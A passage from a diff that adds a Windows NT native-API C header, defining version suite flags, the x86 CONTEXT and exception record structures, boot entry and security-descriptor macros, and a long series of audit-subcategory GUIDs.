SUITE_TYPE; + +#define VER_SERVER_NT 0x80000000 +#define VER_WORKSTATION_NT 0x40000000 +#define VER_SUITE_SMALLBUSINESS 0x00000001 +#define VER_SUITE_ENTERPRISE 0x00000002 +#define VER_SUITE_BACKOFFICE 0x00000004 +#define VER_SUITE_COMMUNICATIONS 0x00000008 +#define VER_SUITE_TERMINAL 0x00000010 +#define VER_SUITE_SMALLBUSINESS_RESTRICTED 0x00000020 +#define VER_SUITE_EMBEDDEDNT 0x00000040 +#define VER_SUITE_DATACENTER 0x00000080 +#define VER_SUITE_SINGLEUSERTS 0x00000100 +#define VER_SUITE_PERSONAL 0x00000200 +#define VER_SUITE_BLADE 0x00000400 +#define VER_SUITE_EMBEDDED_RESTRICTED 0x00000800 +#define VER_SUITE_SECURITY_APPLIANCE 0x00001000 +#define VER_SUITE_STORAGE_SERVER 0x00002000 +#define VER_SUITE_COMPUTE_SERVER 0x00004000 + +// +// exception structures +// + +#ifndef _WINNT_ // take presidence over winnt.h + +typedef struct _CONTEXT +{ + + // + // The flags values within this flag control the contents of + // a CONTEXT record. + // + // If the context record is used as an input parameter, then + // for each portion of the context record controlled by a flag + // whose value is set, it is assumed that that portion of the + // context record contains valid context. If the context record + // is being used to modify a threads context, then only that + // portion of the threads context will be modified. + // + // If the context record is used as an IN OUT parameter to capture + // the context of a thread, then only those portions of the thread's + // context corresponding to set flags will be returned. + // + // The context record is never used as an OUT only parameter. + // + + DWORD ContextFlags; + + // + // This section is specified/returned if CONTEXT_DEBUG_REGISTERS is + // set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT + // included in CONTEXT_FULL. + // + + DWORD Dr0; + DWORD Dr1; + DWORD Dr2; + DWORD Dr3; + DWORD Dr6; + DWORD Dr7; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_FLOATING_POINT. + // + + FLOATING_SAVE_AREA FloatSave; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_SEGMENTS. + // + + DWORD SegGs; + DWORD SegFs; + DWORD SegEs; + DWORD SegDs; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_INTEGER. + // + + DWORD Edi; + DWORD Esi; + DWORD Ebx; + DWORD Edx; + DWORD Ecx; + DWORD Eax; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_CONTROL. + // + + DWORD Ebp; + DWORD Eip; + DWORD SegCs; // MUST BE SANITIZED + DWORD EFlags; // MUST BE SANITIZED + DWORD Esp; + DWORD SegSs; + + // + // This section is specified/returned if the ContextFlags word + // contains the flag CONTEXT_EXTENDED_REGISTERS. + // The format and contexts are processor specific + // + + BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; + +} CONTEXT, *PCONTEXT; + +typedef struct _EXCEPTION_RECORD +{ + DWORD ExceptionCode; // NTSTATUS code of the exception. + DWORD ExceptionFlags; // need more information + struct _EXCEPTION_RECORD *ExceptionRecord; // pointer to an extra record + PVOID ExceptionAddress; // address of the exception happen + DWORD NumberParameters; // more information needed ... + ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD, *PEXCEPTION_RECORD; + +// +// Values put in ExceptionRecord.ExceptionInformation[0] +// First parameter is always in ExceptionInformation[1], +// Second parameter is always in ExceptionInformation[2] +// + +typedef struct _EXCEPTION_RECORD32 { + DWORD ExceptionCode; + DWORD ExceptionFlags; + DWORD ExceptionRecord; + DWORD ExceptionAddress; + DWORD NumberParameters; + DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD32, *PEXCEPTION_RECORD32; + +typedef struct _EXCEPTION_RECORD64 { + DWORD ExceptionCode; + DWORD ExceptionFlags; + DWORD64 ExceptionRecord; + DWORD64 ExceptionAddress; + DWORD NumberParameters; + DWORD __unusedAlignment; + DWORD64 ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD64, *PEXCEPTION_RECORD64; + +// +// Typedef for pointer returned by exception_info() +// + +typedef struct _EXCEPTION_POINTERS +{ + PEXCEPTION_RECORD ExceptionRecord; + PCONTEXT ContextRecord; +} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS; + +#endif + +typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)( + IN PWSTR ValueName, + IN ULONG ValueType, + IN PVOID ValueData, + IN ULONG ValueLength, + IN PVOID Context, + IN PVOID EntryContext + ); + +typedef struct _RTL_QUERY_REGISTRY_TABLE { + PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; + ULONG Flags; + PWSTR Name; + PVOID EntryContext; + ULONG DefaultType; + PVOID DefaultData; + ULONG DefaultLength; + +} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; + +#define EXCEPTION_CHAIN_END ((struct _EXCEPTION_REGISTRATION_RECORD * POINTER_32)-1) + +#define MAJOR_VERSION 30 +#define MINOR_VERSION 00 +#define OS2_VERSION (MAJOR_VERSION << 8 | MINOR_VERSION ) + +#ifdef DBG +#define DBG_TEB_THREADNAME 16 +#define DBG_TEB_RESERVED_1 15 +#define DBG_TEB_RESERVED_2 14 +#define DBG_TEB_RESERVED_3 13 +#define DBG_TEB_RESERVED_4 12 +#define DBG_TEB_RESERVED_5 11 +#define DBG_TEB_RESERVED_6 10 +#define DBG_TEB_RESERVED_7 9 +#define DBG_TEB_RESERVED_8 8 +#endif // DBG + +#define PROCESS_PRIORITY_CLASS_UNKNOWN 0 +#define PROCESS_PRIORITY_CLASS_IDLE 1 +#define PROCESS_PRIORITY_CLASS_NORMAL 2 +#define PROCESS_PRIORITY_CLASS_HIGH 3 +#define PROCESS_PRIORITY_CLASS_REALTIME 4 +#define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5 +#define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6 + +typedef struct _PROCESS_PRIORITY_CLASS { + BOOLEAN Foreground; + UCHAR PriorityClass; +} PROCESS_PRIORITY_CLASS, *PPROCESS_PRIORITY_CLASS; + +typedef struct _PROCESS_FOREGROUND_BACKGROUND { + BOOLEAN Foreground; +} PROCESS_FOREGROUND_BACKGROUND, *PPROCESS_FOREGROUND_BACKGROUND; + +typedef struct _FILE_PATH { + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[ANYSIZE_ARRAY]; +} FILE_PATH, *PFILE_PATH; + +#define FILE_PATH_VERSION 1 + +#define FILE_PATH_TYPE_ARC 1 +#define FILE_PATH_TYPE_ARC_SIGNATURE 2 +#define FILE_PATH_TYPE_NT 3 +#define FILE_PATH_TYPE_EFI 4 + +#define FILE_PATH_TYPE_MIN FILE_PATH_TYPE_ARC +#define FILE_PATH_TYPE_MAX FILE_PATH_TYPE_EFI + +typedef struct _WINDOWS_OS_OPTIONS { + UCHAR Signature[8]; + ULONG Version; + ULONG Length; + ULONG OsLoadPathOffset; + WCHAR OsLoadOptions[ANYSIZE_ARRAY]; + //FILE_PATH OsLoadPath; +} WINDOWS_OS_OPTIONS, *PWINDOWS_OS_OPTIONS; + +#define WINDOWS_OS_OPTIONS_SIGNATURE "WINDOWS" + +#define WINDOWS_OS_OPTIONS_VERSION 1 + +typedef struct _BOOT_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[ANYSIZE_ARRAY]; + //WCHAR FriendlyName[ANYSIZE_ARRAY]; + //FILE_PATH BootFilePath; +} BOOT_ENTRY, *PBOOT_ENTRY; + +typedef struct _BOOT_OPTIONS { + ULONG Version; + ULONG Length; + ULONG Timeout; + ULONG CurrentBootEntryId; + ULONG NextBootEntryId; + WCHAR HeadlessRedirection[ANYSIZE_ARRAY]; +} BOOT_OPTIONS, *PBOOT_OPTIONS; + + +// +// Security APIs. +// + +typedef struct _USER_SID +{ + SID_IDENTIFIER_AUTHORITY sidAuthority; + ULONG UserGroupId; + ULONG UserId; +} USER_SID, *PUSER_SID; + + +typedef struct _USER_PERMISSION +{ + USER_SID UserSid; // identifies the user for whom you want to grant permissions to + ULONG dwAccessType; // currently, this is either ACCESS_ALLOWED_ACE_TYPE or ACCESS_DENIED_ACE_TYPE + BOOL bInherit; // the permissions inheritable? (eg a directory or reg key and you want new children to inherit this permission) + ULONG dwAccessMask; // access granted (eg FILE_LIST_CONTENTS or KEY_ALL_ACCESS, etc...) + ULONG dwInheritMask; // mask used for inheritance, usually (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE) + ULONG dwInheritAccessMask; // the inheritable access granted (eg GENERIC_ALL) +} USER_PERMISSION, *PUSER_PERMISSION; + +#define LongAlignPtr(Ptr) ((PVOID)(((ULONG_PTR)(Ptr) + 3) & -4)) +#define LongAlignSize(Size) (((ULONG)(Size) + 3) & -4) + +// +// Macros for calculating the address of the components of a security +// descriptor. This will calculate the address of the field regardless +// of whether the security descriptor is absolute or self-relative form. +// A null value indicates the specified field is not present in the +// security descriptor. +// + +#define RtlpOwnerAddrSecurityDescriptor( SD ) \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner == 0) ? ((PSID) NULL) : \ + (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner) \ + ) : \ + (PSID)((SD)->Owner) \ + ) + +#define RtlpGroupAddrSecurityDescriptor( SD ) \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group == 0) ? ((PSID) NULL) : \ + (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group) \ + ) : \ + (PSID)((SD)->Group) \ + ) + +#define RtlpSaclAddrSecurityDescriptor( SD ) \ + ( (!((SD)->Control & SE_SACL_PRESENT) ) ? \ + (PACL)NULL : \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl == 0) ? ((PACL) NULL) : \ + (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl) \ + ) : \ + (PACL)((SD)->Sacl) \ + ) \ + ) + +#define RtlpDaclAddrSecurityDescriptor( SD ) \ + ( (!((SD)->Control & SE_DACL_PRESENT) ) ? \ + (PACL)NULL : \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl == 0) ? ((PACL) NULL) : \ + (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl) \ + ) : \ + (PACL)((SD)->Dacl) \ + ) \ + ) + + +// +// Macro to determine if the given ID has the owner attribute set, +// which means that it may be assignable as an owner +// The GroupSid should not be marked for UseForDenyOnly. +// + +#define RtlpIdAssignableAsOwner( G ) \ + ( (((G).Attributes & SE_GROUP_OWNER) != 0) && \ + (((G).Attributes & SE_GROUP_USE_FOR_DENY_ONLY) == 0) ) + +// +// Macro to copy the state of the passed bits from the old security +// descriptor (OldSD) into the Control field of the new one (NewSD) +// + +#define RtlpPropagateControlBits( NewSD, OldSD, Bits ) \ + ( NewSD )->Control |= \ + ( \ + ( OldSD )->Control & ( Bits ) \ + ) + + +// +// Macro to query whether or not the passed set of bits are ALL on +// or not (ie, returns FALSE if some are on and not others) +// + +#define RtlpAreControlBitsSet( SD, Bits ) \ + (BOOLEAN) \ + ( \ + (( SD )->Control & ( Bits )) == ( Bits ) \ + ) + +// +// Macro to set the passed control bits in the given Security Descriptor +// + +#define RtlpSetControlBits( SD, Bits ) \ + ( \ + ( SD )->Control |= ( Bits ) \ + ) + +// +// Macro to clear the passed control bits in the given Security Descriptor +// + +#define RtlpClearControlBits( SD, Bits ) \ + ( \ + ( SD )->Control &= ~( Bits ) \ + ) + + +// +// Local Security Authority APIs. +// + +#ifdef DEFINE_GUID + +/* 0cce9210-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_SecurityStateChange_defined) + DEFINE_GUID( + Audit_System_SecurityStateChange, + 0x0cce9210, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_SecurityStateChange_defined + #endif +#endif + +/* 0cce9211-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_SecuritySubsystemExtension_defined) + DEFINE_GUID( + Audit_System_SecuritySubsystemExtension, + 0x0cce9211, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_SecuritySubsystemExtension_defined + #endif +#endif + +/* 0cce9212-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_Integrity_defined) + DEFINE_GUID( + Audit_System_Integrity, + 0x0cce9212, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_Integrity_defined + #endif +#endif + +/* 0cce9213-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_IPSecDriverEvents_defined) + DEFINE_GUID( + Audit_System_IPSecDriverEvents, + 0x0cce9213, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_IPSecDriverEvents_defined + #endif +#endif + +/* 0cce9214-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_Others_defined) + DEFINE_GUID( + Audit_System_Others, + 0x0cce9214, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_Others_defined + #endif +#endif + +/* 0cce9215-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Logon_defined) + DEFINE_GUID( + Audit_Logon_Logon, + 0x0cce9215, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Logon_defined + #endif +#endif + +/* 0cce9216-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Logoff_defined) + DEFINE_GUID( + Audit_Logon_Logoff, + 0x0cce9216, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Logoff_defined + #endif +#endif + +/* 0cce9217-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_AccountLockout_defined) + DEFINE_GUID( + Audit_Logon_AccountLockout, + 0x0cce9217, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_AccountLockout_defined + #endif +#endif + +/* 0cce9218-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecMainMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecMainMode, + 0x0cce9218, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecMainMode_defined + #endif +#endif + +/* 0cce9219-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecQuickMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecQuickMode, + 0x0cce9219, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecQuickMode_defined + #endif +#endif + +/* 0cce921a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecUserMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecUserMode, + 0x0cce921a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecUserMode_defined + #endif +#endif + +/* 0cce921b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_SpecialLogon_defined) + DEFINE_GUID( + Audit_Logon_SpecialLogon, + 0x0cce921b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_SpecialLogon_defined + #endif +#endif + +/* 0cce921c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Others_defined) + DEFINE_GUID( + Audit_Logon_Others, + 0x0cce921c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Others_defined + #endif +#endif + +/* 0cce921d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FileSystem_defined) + DEFINE_GUID( + Audit_ObjectAccess_FileSystem, + 0x0cce921d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FileSystem_defined + #endif +#endif + +/* 0cce921e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Registry_defined) + DEFINE_GUID( + Audit_ObjectAccess_Registry, + 0x0cce921e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Registry_defined + #endif +#endif + +/* 0cce921f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Kernel_defined) + DEFINE_GUID( + Audit_ObjectAccess_Kernel, + 0x0cce921f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Kernel_defined + #endif +#endif + +/* 0cce9220-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Sam_defined) + DEFINE_GUID( + Audit_ObjectAccess_Sam, + 0x0cce9220, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Sam_defined + #endif +#endif + +/* 0cce9221-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_CertificationServices_defined) + DEFINE_GUID( + Audit_ObjectAccess_CertificationServices, + 0x0cce9221, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_CertificationServices_defined + #endif +#endif + +/* 0cce9222-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_ApplicationGenerated_defined) + DEFINE_GUID( + Audit_ObjectAccess_ApplicationGenerated, + 0x0cce9222, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_ApplicationGenerated_defined + #endif +#endif + +/* +The Audit_ObjectAccess_Handle sub-category behaves different from the other sub-categories. +For handle based audits to be generated (Open handle AuditId: 0x1230, Close handle AuditId: +0x1232), the corresponding object sub-category AND Audit_ObjectAccess_Handle must be +enabled. For eg, to generate handle based audits for Reg keys, both +Audit_ObjectAccess_Registry and Audit_ObjectAccess_Handle must be enabled +*/ + +/* 0cce9223-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Handle_defined) + DEFINE_GUID( + Audit_ObjectAccess_Handle, + 0x0cce9223, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Handle_defined + #endif +#endif + +/* 0cce9224-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Share_defined) + DEFINE_GUID( + Audit_ObjectAccess_Share, + 0x0cce9224, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Share_defined + #endif +#endif + +/* 0cce9225-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallPacketDrops_defined) + DEFINE_GUID( + Audit_ObjectAccess_FirewallPacketDrops, + 0x0cce9225, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FirewallPacketDrops_defined + #endif +#endif + +/* 0cce9226-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallConnection_defined) + DEFINE_GUID( + Audit_ObjectAccess_FirewallConnection, + 0x0cce9226, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FirewallConnection_defined + #endif +#endif + +/* 0cce9227-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Other_defined) + DEFINE_GUID( + Audit_ObjectAccess_Other, + 0x0cce9227, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Other_defined + #endif +#endif + +/* 0cce9228-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Sensitive_defined) + DEFINE_GUID( + Audit_PrivilegeUse_Sensitive, + 0x0cce9228, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_Sensitive_defined + #endif +#endif + +/* 0cce9229-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_NonSensitive_defined) + DEFINE_GUID( + Audit_PrivilegeUse_NonSensitive, + 0x0cce9229, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_NonSensitive_defined + #endif +#endif + +/* 0cce922a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Others_defined) + DEFINE_GUID( + Audit_PrivilegeUse_Others, + 0x0cce922a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_Others_defined + #endif +#endif + +/* 0cce922b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessCreation_defined) + DEFINE_GUID( + Audit_DetailedTracking_ProcessCreation, + 0x0cce922b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_ProcessCreation_defined + #endif +#endif + +/* 0cce922c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessTermination_defined) + DEFINE_GUID( + Audit_DetailedTracking_ProcessTermination, + 0x0cce922c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_ProcessTermination_defined + #endif +#endif + +/* 0cce922d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_DpapiActivity_defined) + DEFINE_GUID( + Audit_DetailedTracking_DpapiActivity, + 0x0cce922d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_DpapiActivity_defined + #endif +#endif + +/* 0cce922e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_RpcCall_defined) + DEFINE_GUID( + Audit_DetailedTracking_RpcCall, + 0x0cce922e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_RpcCall_defined + #endif +#endif + +/* 0cce922f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuditPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuditPolicy, + 0x0cce922f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuditPolicy_defined + #endif +#endif + +/* 0cce9230-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthenticationPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuthenticationPolicy, + 0x0cce9230, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuthenticationPolicy_defined + #endif +#endif + +/* 0cce9231-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthorizationPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuthorizationPolicy, + 0x0cce9231, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuthorizationPolicy_defined + #endif +#endif + +/* 0cce9232-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_MpsscvRulePolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_MpsscvRulePolicy, + 0x0cce9232, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_MpsscvRulePolicy_defined + #endif +#endif + +/* 0cce9233-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_WfpIPSecPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_WfpIPSecPolicy, + 0x0cce9233, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_WfpIPSecPolicy_defined + #endif +#endif + +/* 0cce9234-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_Others_defined) + DEFINE_GUID( + Audit_PolicyChange_Others, + 0x0cce9234, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_Others_defined + #endif +#endif + +/* 0cce9235-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_UserAccount_defined) + DEFINE_GUID( + Audit_AccountManagement_UserAccount, + 0x0cce9235, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_UserAccount_defined + #endif +#endif + +/* 0cce9236-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_ComputerAccount_defined) + DEFINE_GUID( + Audit_AccountManagement_ComputerAccount, + 0x0cce9236, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_ComputerAccount_defined + #endif +#endif + +/* 0cce9237-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_SecurityGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_SecurityGroup, + 0x0cce9237, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_SecurityGroup_defined + #endif +#endif + +/* 0cce9238-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_DistributionGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_DistributionGroup, + 0x0cce9238, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_DistributionGroup_defined + #endif +#endif + +/* 0cce9239-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_ApplicationGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_ApplicationGroup, + 